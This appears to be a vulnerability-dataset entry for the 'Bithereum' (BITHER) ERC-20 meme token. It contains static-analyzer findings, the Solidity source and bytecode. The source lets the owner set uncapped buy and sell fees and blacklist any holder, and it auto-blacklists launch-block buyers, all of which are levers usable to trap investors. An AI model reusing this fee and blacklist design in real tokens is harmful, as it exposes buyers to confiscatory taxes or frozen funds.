19150602081019050602083039250612e13565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16866040518082815260200191505060405180910390a48373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600190509392505050565b602060405190810160405280600081525090565b6020604051908101604052806000815250905600a165627a7a723058201de86a02f31de2f6d27285a2280da0c47f2abeaf86b2381bac0e5227201176ec0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 7,861 |
0x2186bdf3a13cad8d6ce2ae0caae3e49719e5fbc4
|
/**
*Submitted for verification at Etherscan.io on 2022-02-05
*/
/**
All of those ninjas breeding and making new tokens , but what about the things that actually matter?
I present to you BITHER , Bitcoin + Ethereum , what started it all and what made the shitcoin market possible for us .
https://t.me/BITHERETH
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BITHER is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Bithereum";//
string private constant _symbol = "BITHER";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 3;//
uint256 private _taxFeeOnBuy = 9;//
//Sell Fee
uint256 private _redisFeeOnSell = 3;//
uint256 private _taxFeeOnSell = 12;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x6F3D8dd2816A28D57Cee9d83FB7cC01Ad689d747);//
address payable private _marketingAddress = payable(0x6F3D8dd2816A28D57Cee9d83FB7cC01Ad689d747);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 20000000 * 10**9; //
uint256 public _maxWalletSize = 60000000 * 10**9; //
uint256 public _swapTokensAtAmount = 1500000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe91906130c6565b610702565b005b34801561021157600080fd5b5061021a610852565b604051610227919061350f565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190613032565b61088f565b60405161026491906134d9565b60405180910390f35b34801561027957600080fd5b506102826108ad565b60405161028f91906134f4565b60405180910390f35b3480156102a457600080fd5b506102ad6108d3565b6040516102ba91906136f1565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612fe3565b6108e3565b6040516102f791906134d9565b60405180910390f35b34801561030c57600080fd5b506103156109bc565b60405161032291906136f1565b60405180910390f35b34801561033757600080fd5b506103406109c2565b60405161034d9190613766565b60405180910390f35b34801561036257600080fd5b5061036b6109cb565b60405161037891906134be565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612f55565b6109f1565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613107565b610ae1565b005b3480156103df57600080fd5b506103e8610b92565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612f55565b610c63565b60405161041e91906136f1565b60405180910390f35b34801561043357600080fd5b5061043c610cb4565b005b34801561044a57600080fd5b5061046560048036038101906104609190613130565b610e07565b005b34801561047357600080fd5b5061047c610ea6565b60405161048991906136f1565b60405180910390f35b34801561049e57600080fd5b506104a7610eac565b6040516104b491906134be565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df9190613107565b610ed5565b005b3480156104f257600080fd5b506104fb610f8e565b60405161050891906136f1565b60405180910390f35b34801561051d57600080fd5b50610526610f94565b604051610533919061350f565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e9190613130565b610fd1565b005b34801561057157600080fd5b5061058c60048036038101906105879190613159565b611070565b005b34801561059a57600080fd5b506105b560048036038101906105b09190613032565b611127565b6040516105c291906134d9565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612f55565b611145565b6040516105ff91906134d9565b60405180910390f35b34801561061457600080fd5b5061061d611165565b005b34801561062b57600080fd5b506106466004803603810190610641919061306e565b61123e565b005b34801561065457600080fd5b5061065d61139e565b60405161066a91906136f1565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612fa7565b6113a4565b6040516106a791906136f1565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d29190613130565b61142b565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612f55565b6114ca565b005b61070a61168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e90613651565b60405180910390fd5b60005b815181101561084e576001601160008484815181106107e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061084690613a2b565b91505061079a565b5050565b60606040518060400160405280600981526020017f42697468657265756d0000000000000000000000000000000000000000000000815250905090565b60006108a361089c61168c565b8484611694565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006108f084848461185f565b6109b1846108fc61168c565b6109ac85604051806060016040528060288152602001613f3860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061096261168c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122339092919063ffffffff16565b611694565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109f961168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7d90613651565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ae961168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6d90613651565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd361168c565b73ffffffffffffffffffffffffffffffffffffffff161480610c495750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c3161168c565b73ffffffffffffffffffffffffffffffffffffffff16145b610c5257600080fd5b6000479050610c6081612297565b50565b6000610cad600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612392565b9050919050565b610cbc61168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4090613651565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610e0f61168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9390613651565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610edd61168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6190613651565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600681526020017f4249544845520000000000000000000000000000000000000000000000000000815250905090565b610fd961168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611066576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105d90613651565b60405180910390fd5b8060198190555050565b61107861168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611105576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fc90613651565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061113b61113461168c565b848461185f565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a661168c565b73ffffffffffffffffffffffffffffffffffffffff16148061121c5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661120461168c565b73ffffffffffffffffffffffffffffffffffffffff16145b61122557600080fd5b600061123030610c63565b905061123b81612400565b50565b61124661168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ca90613651565b60405180910390fd5b60005b8383905081101561139857816005600086868581811061131f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906113349190612f55565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061139090613a2b565b9150506112d6565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61143361168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b790613651565b60405180910390fd5b8060188190555050565b6114d261168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461155f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155690613651565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c6906135b1565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611704576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fb906136d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611774576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176b906135d1565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161185291906136f1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c690613691565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561193f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193690613531565b60405180910390fd5b60008111611982576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197990613671565b60405180910390fd5b61198a610eac565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119f857506119c8610eac565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f3257601660149054906101000a900460ff16611a8757611a19610eac565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7d90613551565b60405180910390fd5b5b601754811115611acc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac390613591565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b705750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611baf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba6906135f1565b60405180910390fd5b6008544311158015611c0e5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c685750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ca057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cfe576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611dab5760185481611d6084610c63565b611d6a9190613827565b10611daa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da1906136b1565b60405180910390fd5b5b6000611db630610c63565b9050600060195482101590506017548210611dd15760175491505b808015611deb5750601660159054906101000a900460ff16155b8015611e455750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e5b575060168054906101000a900460ff165b8015611eb15750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611f075750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f2f57611f1582612400565b60004790506000811115611f2d57611f2c47612297565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fd95750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061208c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561208b5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561209a5760009050612221565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121455750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561215d57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156122085750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561222057600b54600d81905550600c54600e819055505b5b61222d848484846126fa